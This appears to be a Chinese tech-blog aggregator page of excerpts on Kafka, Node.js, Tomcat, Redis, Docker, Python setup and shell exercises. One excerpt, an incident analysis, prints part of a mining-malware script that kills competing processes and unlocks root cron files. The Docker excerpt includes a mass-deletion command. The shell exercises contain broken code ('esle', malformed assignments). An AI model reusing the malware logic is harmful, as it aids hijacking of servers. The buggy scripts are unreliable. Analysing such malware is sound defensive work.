bin

Kafka常用shell命令

北战南征 提交于 2019-11-26 00:28:38
2.2 KAFKA命令行操作 1)查看当前服务器中的所有topic [qingfeng@hadoop102 kafka]$ bin/kafka-topics.sh --zookeeper hadoop102:2181 --list 2)创建topic [qingfeng@hadoop102 kafka]$ bin/kafka-topics.sh --zookeeper hadoop102:2181 --create --replication-factor 3 --partitions 1 --topic first 选项说明: --topic 定义topic名 --replication-factor 定义副本数 --partitions 定义分区数 3)删除topic [qingfeng@hadoop102 kafka]$ bin/kafka-topics.sh --zookeeper hadoop102:2181 --delete --topic first 需要server.properties中设置delete.topic.enable=true否则只是标记删除。 4)生产消息 [qingfeng@hadoop102 kafka]$ bin/kafka-console-producer.sh \ --broker-list hadoop102:9092 --topic

轻松两步完成Node.js版本升级

十年热恋 提交于 2019-11-25 23:49:19
Node.js的开发非常活跃,它的最新稳定版本也频繁变化,你不时会发现,一个模块不能在你当前的Node版本上使用,此时你需要升级Node 比较给力的是,可以用一种非常简单的方法来管理你的Node版本,即使用Node Binary管理模块“n”。 1)首先:查看当前node版本: node –v 2)安装n模块: npm install -g n 3)检查路径(如果默认路径在/usr/local/bin或/usr/bin/下可以跳过4步骤。) 先查看系统node的安装路径,n模块的默认路径为 ‘/usr/local’。 $ which node /data/home/server/nodejs/bin/node #举个例子 4)通过N_PREFIX变量来修改 n 的默认node安装路径。 (1) 编辑环境配置文件 vim ~/.bash_profile (2) 将下面两行代码插入到文件末尾 export N_PREFIX=/data/home/server/nodejs #node实际安装位置 export PATH=$N_PREFIX/bin:$PATH (3) :wq保存退出; 执行source使修改生效。 $ source ~/.bash_profile (4) 确认一下环境变量是否生效。 echo $N_PREFIX /data/home/server/nodejs 5

tomcat部署

半世苍凉 提交于 2019-11-25 21:37:35
Tomcat介绍 ■免费的、开放源代码的Web应用服务器 ■Apache软件基金会(Apache Software Foundation)Jakarta项目中的一个核心项目 ■由Apache、Sun和一 些公司及个人共同开发而成 ■深受Java爱好者的喜爱,并得到部分软件开发商的认可 ■目前比较流行的Web应用服务器 Tomcat核心组件 Tomcat处理请求过程 1.用户在浏览器中输入网址localhost:8080/test/index.jsp,请求被发送到本机端口8080,被在那里监听的Coyote HTTP/1.1 Connector获得; 2.Connector把该请求交给它所在的Service的Engine(Container)来处理,并等待Engine的回应; 3.Engine获得请求localhost/test/index.jsp,匹配所有的虚拟主机Host; 4.Engine匹配到名为localhost的Host(即使匹配不到也把请求交给该Host处理,因为该Host被定义为该Engine的默认主机),名为localhost的Host获得请求/test/index.jsp,匹配它所拥有的所有Context。Host匹配到路径为/test的Context(如果匹配不到就把该请求交给路径名为“ ”的Context去处理); 5.path=“/test

Tomcat部署实战!

a 夏天 提交于 2019-11-25 20:39:40
Tomcat部署及优化 1.Tomcat安装部署 2.虚拟主机配置 3.Tomcat优化 Tomcat介绍 1.免费的、开放源代码的Web应用服务器 2.Apache软件基金会(Apache Software Foundation)Jakarta项目中的- -个核心项目 3.由Apache、 Sun和一些公司及个人共同开发而成 4.深受Java爱好者的喜爱,并得到部分软件开发商的认可 5.目前比较流行的Web应用服务器 Tomcat部署步骤 1.下载并安装jdk 2.安装并启动Tomcat 3.配置虚拟主机 设置环境变量 1.编辑/etc/profile文件: export JAVA_HOME=/usr/java/jdk1.8.0_171-amd64 export CLASSPATH=$JAVA_HOME/lib/tools.jar:$JAVA_HOME/lib/dt,jar export PATH=$JAVA_HOME/bin:$PATH 2.使环境变量生效的命令: [root@localhost~]#source /etc/profile 3.查看jdk版本的命令: [root@localhost~]#java -version 安装、启动Tomcat 1.下载安装包: [root@localhost ~]# wget http://mirrors. shu.edu.cn

一个挖矿脚本

半世苍凉 提交于 2019-11-25 20:16:51
遇到一台机器偶尔cpu使用率达到80%,触发告警。登录查看后一个sshd2程序导致cpu负载高 仔细查看就知道和sshd是两个完全不同的进程,取名sshd2应该只是为了迷惑用户 ps -ef 查看到父进程是一个/tmp/javax/config.sh, 这个文件在当前系统已经删除了,所以只能按照pid号通过lsof -p PID查看打开的文件句柄 在/proc/PID/fd里面顺利找到执行脚本 #!/bin/sh export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin while [ 1 ] do p=$(ps auxf|grep -v grep|grep sshd2|wc -l) if [ ${p} -eq 0 ]; then ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9 fi chattr -i /var/spool/cron/root chattr -i /var/spool/cron/crontabs/root chattr -i /usr/local/bin/dns pkill 6Tx3Wq rm -f /tmp/6Tx3Wq killall -9 38c985b26d38da0cbcc9f8ae3527e8e3b

Redis 集群--------Redis-cluster

时光毁灭记忆、已成空白 提交于 2019-11-25 19:57:22
1集群方案 1.官方方案redis-cluster搭建实战 2.客户端分片技术(不推荐),扩容/缩容时,必须手动调整分片程序,出现故障不能自动转移 3.可以使用主从复制方式(不推荐) 4.使用一些代理工具 我们知道主从复制方式实现集群,性能不是很好,因为只有一个master,其他都是slave,slave上只能符读,而且都是master 的备份信息,所以比较冗余 所以我们官方推荐的Redis-cluster来实现集群。 2,Redis-cluster 实现原理 3,搭建集群环境 安装部署任何一个应用其实都很简单,只要安装步骤一步一步来就行了。下面说一下 Redis 集群搭建规划,由于集群至少需要6个节点(3主3从模式)。 创建文件夹 我们计划集群中 Redis 节点的端口号为 9001-9006 ,端口号即集群下各实例文件夹。数据存放在 端口号/data 文件夹中。 mkdir /usr/local/redis-cluster cd redis-cluster/ mkdir -p 9001/data 9002/data 9003/data 9004/data 9005/data 9006/data 复制脚本 在 /usr/local/redis-cluster 下创建 bin 文件夹,用来存放集群运行脚本,并把安装好的 Redis 的 src 路径下的运行脚本拷贝过来。看命令:

【Docker基本操作】 -- 2019-08-07 10:24:30

大城市里の小女人 提交于 2019-11-25 19:51:29
原创: http://106.13.73.98/__/26/ 关于镜像的操作 docker search centos 搜索所有centos的镜像 docker pull centos 获取centos镜像 docker images 或 docker image ls 查看镜像 docker images -qa 列出所有镜像的ID docker rmi -f 镜像名/镜像ID 删除指定镜像 -f 强制删除 在删除镜像之前请先用docker rm删除依赖于这个镜像的所有容器 docker save 镜像名/镜像ID > image.tar.gz 导出指定镜像 docker load < image.tar.gz 导入指定指定镜像包 危险动作! docker rmi `docker images -qa` < image.tar.gz 一次性删除所有镜像记录 在删除镜像之前请先用docker rm删除依赖于这个镜像的所有容器 docker images --no-trunc 获取所有镜像的完整ID docker inspect 镜像名/镜像ID 获取指定镜像的完整ID 关于容器的操作 docker run 镜像名/镜像ID 启动一个容器 docker run 镜像名/镜像ID /bin/echo "hello" 启动一个容器,并执行 /bin/echo "hello" 命令,注意

ubuntu安装python3.6

那年仲夏 提交于 2019-11-25 19:10:54
ubuntu 安装python 参考链接 https://blog.csdn.net/qq_29837161/article/details/83616364 官网下载python source code tar xfz Python-3.6.1.tgz cd Python-3.6.1/ ./configure --prefix=/usr/bin/python3.6 sudo make sudo make install rm /usr/bin/python ln -s /usr/bin/python3.6/bin/python3.6 /usr/bin/python 安装pip 删除现在的软连接 rm /usr/bin/pip3 找到python安装目录下bin文件里面的pip 新建软连接 ln -s /opt/ptyhon3.6/bin/pip3 /usr/bin/pip3.6 来源: https://www.cnblogs.com/rise0111/p/11313223.html

服务器安装python3环境

筅森魡賤 提交于 2019-11-25 19:08:21
服务器安装python3环境 先安装相关包 yum install zlib-devel bzip2-devel openssl-devel ncurses-devel sqlite-devel readline-devel tk-devel gcc make 下载python源码包 wget https://www.python.org/ftp/python/3.6.8/Python-3.6.8.tar.xz 解压源码包 tar xf Python-3.6.8.tar.xz -C /usr/local/src/ 新建python3存放目录 mkdir /usr/local/python3 安装python3 进入解压目录,指定安装目录,安装python3 cd /usr/local/src/Python-3.6.2./configure --prefix=/usr/local/python3makemake install 创建软连接 ln -s /usr/local/python3/bin/python3 /usr/bin/python3 ln -s /usr/local/python3/bin/pip3 /usr/bin/pip3 如果遇到bug # ln: failed to create symbolic link '/usr/bin/python3': File

08 shell脚本--001练习

社会主义新天地 提交于 2019-11-25 18:49:54
1、判断/etc/inittab文件是否大于100行,如果大于,则显示”/etc/inittab is a big file.”否者显示”/etc/inittab is a small file.” #!/bin/bash $Line=` wc -l /etc/inittab | cut -d ' ' -f1` --------------->17 if [ $Line -gt 100 ];then echo "/etc/inittab is a big file." else echo "/etc/inittab is a small file." fi 2、给定一个用户,来判断这个用户是什么用户,如果是管理员用户,则显示“该用户为管理员”,否则显示“该用户为普通用户” #!/bin/bash a=`id -u root`------------>0(0为管理员id)(500-65535)给一般使用者使用 if [ $a -eq 0 ];then echo "该用户为管理员" esle echo "该用户为普通用户" fi 3、判断某个文件是否存在 #!/bin/bash $a=`ls 2019-08-10.http.log` if [ $a -eq 0 ];then echo "文件存在" else echo "文件不存在" fi 4